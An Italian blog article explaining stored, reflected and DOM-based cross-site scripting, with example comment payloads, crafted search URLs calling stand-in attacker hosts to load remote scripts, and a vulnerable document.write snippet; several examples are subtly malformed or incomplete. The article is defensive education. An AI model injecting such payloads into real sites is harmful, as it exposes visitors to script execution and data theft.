Tipi di attacchi Cross-Site Scripting (XSS).

Pubblicato: 2022-11-04

Nel nostro precedente articolo su WordPress e Cross-Site Scripting abbiamo analizzato ad alto livello quali sono questi tipi di attacchi e come prevenirli. In questo articolo, approfondiremo alcuni dettagli insieme ad alcuni esempi di cross-site scripting. Andiamo!

XSS persistente

XSS persistente (o XSS memorizzato) è uno dei principali tipi di cross-site scripting. Si chiama persistente perché ciò che l'aggressore inietta viene memorizzato sul server in modo permanente per un uso successivo. Ogni volta che un visitatore accede a una determinata pagina, il codice viene eseguito dal browser al caricamento o quando viene chiamata una funzione specifica.

Esempio XSS persistente :

Supponiamo che nella sezione dei commenti sotto un post qualcuno inserisca uno script di avviso insieme a una semplice risposta/opinione.

 Great solution! It works for me.<script>alert("Some text message")</script>

Se la sezione dei commenti è vulnerabile e i commenti inviati non vengono disinfettati, questo codice verrà salvato nel database. Di conseguenza, da quel momento in poi, ogni volta che la pagina viene caricata (da chiunque) e il “bad comment” è visibile insieme a tutti i commenti, apparirà una finestra popup con il messaggio.

Naturalmente, un messaggio di avviso può essere fastidioso ma non realmente dannoso. Ma cosa succede se l'attaccante inserisce uno script dannoso invece del messaggio di avviso come questo:

 Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">

Invece di un fastidioso popup, l'utente finale sperimenterà l'attacco XSS. Il danno dipenderà dal tipo di codice eseguito. Ecco perché gli attacchi XSS memorizzati sono considerati così pericolosi. Attaccano ogni utente e non richiedono nemmeno alcun input da parte dell'utente (barra che apre la pagina in primo luogo).

XSS non persistente

Sebbene non siano pericolosi come XSS persistenti, gli XSS non persistenti (o riflessivi) sono ancora problematici, anche perché sono riconosciuti come il tipo più comune di attacco di scripting cross-site.

In sostanza, ciò che accade in un attacco XSS non persistente è che l'utente finale fa clic su un collegamento dannoso che lo invierà a un altro sito Web che attiverà un'esecuzione di codice errato. L'attacco viene effettuato tramite un URL predisposto o parametri HTTP e non viene salvato in modo permanente nel database come in Persistent XSS.

Ma prima di eseguire un attacco non persistente, l'aggressore deve identificare se un sito Web è vulnerabile agli attacchi XSS. Un modo per farlo è utilizzare il motore di ricerca interno del sito web. Se inserisci una stringa, diciamo "scarpe" da cercare e premi il pulsante, viene eseguita una funzione simile a questa:

 http://exampledomain.com?query=shoes

Prima che la funzione venga eseguita, tuttavia, la stringa inserita viene disinfettata, o almeno dovrebbe esserlo, in modo che il modulo di ricerca sia al sicuro da input dannosi.

L'attaccante può utilizzare il modulo di ricerca e provare a inserire uno script come questo:

 <script type="text/javascript">alert("vulnerable");</script>

Se il modulo non è disinfettato, eseguirà la funzione normalmente:

 http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>

Ciò comporterebbe (in questo esempio) la visualizzazione del popup di avviso. Questo è quando l'attaccante sa che il modulo di ricerca ha una vulnerabilità XSS.

Esempio XSS non persistente

Nel caso in cui venga scoperta una vulnerabilità su un sito, un utente malintenzionato potrebbe scegliere di creare un URL simile a questo:

 http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"

Quindi "mascherano" l'URL in modo che non sembri un collegamento "cattivo" e cercano di incoraggiare gli altri a fare clic su questo. In genere questo potrebbe essere il mio invio di e-mail di spam o forse l'inclusione di un collegamento su un forum.

XSS basato su DOM

Durante un incidente XSS basato su DOM (o XSS lato client), l'attacco viene passato attraverso un URL che contiene il codice dannoso.

È anche considerata una vulnerabilità lato client poiché viene eseguita nel browser della vittima, ma ciò che accade qui è che una parte del DOM viene alterata, il che fa sì che il client esegua il codice senza il suo consenso.

NOTA: Il Document Object Model (DOM) è un'interfaccia che definisce la struttura del layout di una pagina Web collegando il linguaggio di scripting alla pagina Web effettiva. Per fare ciò, consente agli sviluppatori di accedere al documento ed eseguire operazioni per aggiornare il contenuto.

Esempio XSS basato su DOM:

Un esempio di attacco di scripting cross-site basato su DOM può essere dimostrato con un modulo che consente di scegliere un'opzione, ad esempio il proprio paese di residenza. Vediamo come funzionerebbe con l'esempio seguente:

 Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>

Pertanto, è possibile accedere a una pagina con un'opzione scelta nel modulo tramite un URL come:

 http://localhost/?country=Lithuania

Ma se provi una voce come questa (vedi sotto), il browser creerà un oggetto DOM che contiene quella stringa ed eseguirà lo script.

 http://localhost/?country=Lithuania

Ciò accade perché il modulo non è protetto e il codice iniziale non è pronto per alcun markup HTML. Quindi quello che fa è disegnare il DOM nella pagina ed eseguire lo script dannoso.

Gli attacchi XSS sono fin troppo comuni. Un modo semplice per proteggerti nel miglior modo possibile è mantenere sempre aggiornati i plug-in sul tuo sito Web WordPress e utilizzare un host di alta qualità. Ci auguriamo che questi esempi vi abbiano dato un'idea di come funzionano questi tipi di attacchi e di cosa fare attenzione!